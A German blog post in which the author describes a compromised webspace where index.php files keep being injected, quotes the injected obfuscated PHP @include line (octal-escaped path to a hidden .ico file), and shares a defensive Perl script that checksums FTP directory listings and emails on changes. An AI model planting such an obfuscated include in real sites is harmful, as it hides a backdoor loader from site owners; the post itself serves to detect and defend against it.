Irgend ein Arsch wurschtelt in letzter Zeit immer in meinem Webspace rum. Verändert index.php-Skripte und fügt in jedes Verzeichnis eine index.php hinzu (sofern keine im Verzeichnis vorhanden war).

Inhalt (bzw. was hinzugefügt wurde) ist immer nur ein kryptisches (leicht geändert, da es auf meinen tatsächlichen Webspace verweist)

@include "\057ho\155e/\163tr\141to\057ht\164p/\160re\155iu\155/r\151d/\0684/\0621/\06112\06912\063/h\164do\143s/fo\156t/\0569d\070c3\142f2\056ic\157";

Wenn man die \xxx-Octal-UTF8-bytes zu ASCII-Zeichen umwandelt, sieht man, was für ein Pfad wirklich dahinter steckt.
Eine Datei .9d8c3bf2.ico konnte ich allerdings nicht finden

Wobei ich nicht feststellen kann, dass einer HTML-Seite letztendlich wirklich weiterer Code hinzugefügt wird. Die index.php, die nur dieses Include enthalten, sind bei einem Test-Aufruf einfach leer.

Beunruhigend ist, dass nach einem Entfernen und Ändern der FTP-Zugangsdaten nach einem Tag sofort wieder alle Spam-Dateien zurück sind.
Ob es eine Sicherheitslücke der Highcharts oder des jQuery File Upload ist, muss ich noch recherchieren.
Ich habe zwar noch weitere Maßnahmen zum "Dichtmachen" meines Webspaces ergriffen, aber zwecks Überwachung wollte ich eine tägliche Kontrolle, ob sich die Dateien in meinem Webspace geändert haben.

Klar, man kann sich seinen Webspace auch von Strato überwachen und bei Änderungen per E-Mail informieren lassen.
Aber das Bastler-Herz war geweckt und ich wollte etwas flexibler sein.

Resultat ist ein Perl-Skript, welches von meinem Mac-Server einmal am Tag ausgeführt wird und mehrere FTP-Server auf Änderung kontrollieren kann (ich prüfe hierbei allerdings nur das oberste Verzeichnis und die Ordner auf dieser ersten Ebene; nicht rekursiv sämtliche Verzeichnisse).
Die Hürden sind natürlich etwas höher, als bei Strato einfach nur ein Häkchen zu setzen und seine E-Mail-Adresse einzugeben: Man sollte noch eine mySQL-Datenbank am Laufen und das Perl-DBI-Modul (um einen HASH der Verzeichnisse in einer Datenbank zum Vergleichen zu sichern) installiert haben. Außerdem sollte der Server, auf dem das Skript läuft, E-Mails versenden können.

Das Skript holt sich dann das Verzeichnis-Listing der obersten Ebene und macht daraus eine shasum-Checksumme. Würden Dateien/Verzeichnisse hinzukommen oder entfernt werden, Dateigröße oder Änderungsdatum geändert werden, würde sich auch die Checksumme ändern.
Die Checksumme wird mit der Checksumme des letzten Prüfvorgangs in der Datenbank verglichen und bei Abweichung wird eine E-Mail versendet.
Dasselbe Prozedere gilt für den Inhalt der Ordner der ersten Verzeichnis-Ebene.

#!/usr/bin/perl

use DBI;
use MIME::Lite;
use strict;

my $mysql = DBI->connect("DBI:mysql:database=check;host=127.0.0.1;port=3306", "dbuser", "dbpass");
my $getShaSum  = $mysql->prepare("select shasum from ftp where server = ? and dir = ?");
my $setShaSum  = $mysql->prepare("insert into ftp (server, dir, shasum) values (?, ?, ?) on duplicate key update shasum = values(shasum)");

my $verbose     = 0;
my $notify_mail = "ohje\@gmail.xy"; # <-- Adresse, über welche man benachrichtigt
                                    #     werden möchte. @ escapen!
my %servers = ("apfelzserver" => {"adresse" => "ftp.meinserver.de", "user" => "apfelzuser", "pass" => "geheimespasswort"}
              # Weitere Server bei Bedarf...
              # Achtung bei Benutzernamen oder Passworten mit einem @
              # jenes muss escaped werden! => \@
              );

my $log = "";

foreach my $server ( keys %servers) {
  if ($verbose) { print "Prüfe ", $server, "\n"; }

  my $list = ls($servers{$server}{'adresse'}, $servers{$server}{'user'}, $servers{$server}{'pass'}, "");
  my $rootsum_neu = ls_sha($servers{$server}{'adresse'}, $servers{$server}{'user'}, $servers{$server}{'pass'}, "");

  $getShaSum->execute($server, "root");
  my @result = $getShaSum->fetchrow_array();
  my $rootsum_alt = $result[0];
 
  if ($rootsum_alt ne undef && $rootsum_alt ne $rootsum_neu) {
    if ($verbose) { printf "%20s %s => %s\n", "root", $rootsum_alt, $rootsum_neu; }
    $log .= "Server $server, Root-Verzeichnis\n";
    $setShaSum->execute($server, "root", $rootsum_neu);
  } elsif ($rootsum_alt eq undef) {
    $setShaSum->execute($server, "root", $rootsum_neu);
    }

  foreach my $item (split(/\n/, $list)) {
    if ($item =~ m/^d/) {
      $item =~ m/\s+\d+ .+?\s+\d+\s+[:\d]+\s+(.*)$/;
      my $dirname = $1;
      my $dirsum_neu  = ls_sha($servers{$server}{'adresse'}, $servers{$server}{'user'}, $servers{$server}{'pass'}, $dirname);

      $getShaSum->execute($server, $dirname);
      @result = $getShaSum->fetchrow_array();
      my $dirsum_alt = $result[0];
     
      if ($dirsum_alt ne undef && $dirsum_alt ne $dirsum_neu) {
        if ($verbose) { printf "%20s %s => %s\n", $dirname, $dirsum_alt, $dirsum_neu; }
        $log .= "Server $server, Verzeichnis $dirname\n";
        $setShaSum->execute($server, $dirname, $dirsum_neu);
      } elsif ($dirsum_alt eq undef) {
        $setShaSum->execute($server, $dirname, $dirsum_neu);
        }
      }
    }
  }

if ($log ne "") {
  if ($verbose) { print "Es wurden Aenderungen auf dem FTP festgestellt\n$log\n"; }
  $log =~ s/\n/<br>/g;
  my $msg  = MIME::Lite->new(
         From    => 'hammerserver <noreply\@hammerserver.de>',
         To      => $notify_mail,
         Subject => "Aenderungen auf FTP-Server entdeckt",
         Type    => 'multipart/related'
        );
  $msg->attach(
    Type => 'text/html',
    Data => qq{
      <html><head></head><body style='font-family:verdana,calibri,sans-serif;'>
      Folgende FTP-Verzeichnisse wurden innerhalb der letzten 24 Stunden geändert.<br/>
      Bitte prüfen.<br/><br/>
      $log
      </body>
      }
    );
  $msg->send();
} else {
  if ($verbose) { print "ok.\n"; }
  }
 
# Dateilisting des Webspaces via FTP-Zugriff abrufen
sub ls($$) {
  my ($server, $user, $pass, $dir) = @_;
  my $list = `ftp -n -v <<EOF | grep -E "ftp[[:space:]]{1,}ftp" | grep -Ev '\\.\\.\$'
open $server
quote USER $user
quote PASS $pass
cd $dir/
ls
quit
EOF`
;
  return $list;
  }

# Dateilisting des Webspaces via FTP-Zugriff abrufen und shasum daraus erstellen
sub ls_sha($$) {
  my ($server, $user, $pass, $dir) = @_;
  my $shasum = `ftp -n -v <<EOF | grep -E "ftp[[:space:]]{1,}ftp" | grep -Ev '\\.\\.\$' | sort -z | shasum
open $server
quote USER $user
quote PASS $pass
cd $dir/
ls
quit
EOF`
;
  $shasum =~ s/\s+-\s+//;
  return $shasum;
  }

Um bei sub ls() und sub ls_sha die einzelnen Dateien und Verzeichnisse aus dem ganzen Text rauszufischen, der beim FTP-Kommando ls zurück kommt, suche ich mit grep alle Zeilen mit Benutzer und Gruppe ftp raus.

grep -E 'ftp[[:space:]]{1,}ftp'

Sollte beim verwendeten FTP-Server ein anderer Benutzer- und Gruppen-Name zurück kommen, wäre dies an den beiden Stellen zu ändern.

Bei sub ls_sha muss ich noch das ..-Verzeichnis rausfiltern, da sonst bei einer Änderung nur im Root-Verzeichnis alle Verzeichnisse als geändert reklamiert werden würden (da sich das Änderungsdatum des ..-Parent-Verzeichnisses geändert hat => andere Checksumme).

grep -Ev '\\.\\.\$'

Hier noch die SQL-Befehle, um die Datenbankstruktur zu erstellen, welche das Skript erwartet:

Datenbank "check"
CREATE TABLE IF NOT EXISTS `ftp` (
  `server` VARCHAR(45) NOT NULL,
  `dir` VARCHAR(45) NOT NULL,
  `shasum` VARCHAR(45) NOT NULL,
  `updated` TIMESTAMP NOT NULL DEFAULT '0000-00-00 00:00:00' ON UPDATE CURRENT_TIMESTAMP
) ENGINE=InnoDB DEFAULT CHARSET=latin1;

ALTER TABLE `ftp`
 ADD PRIMARY KEY (`server`,`dir`);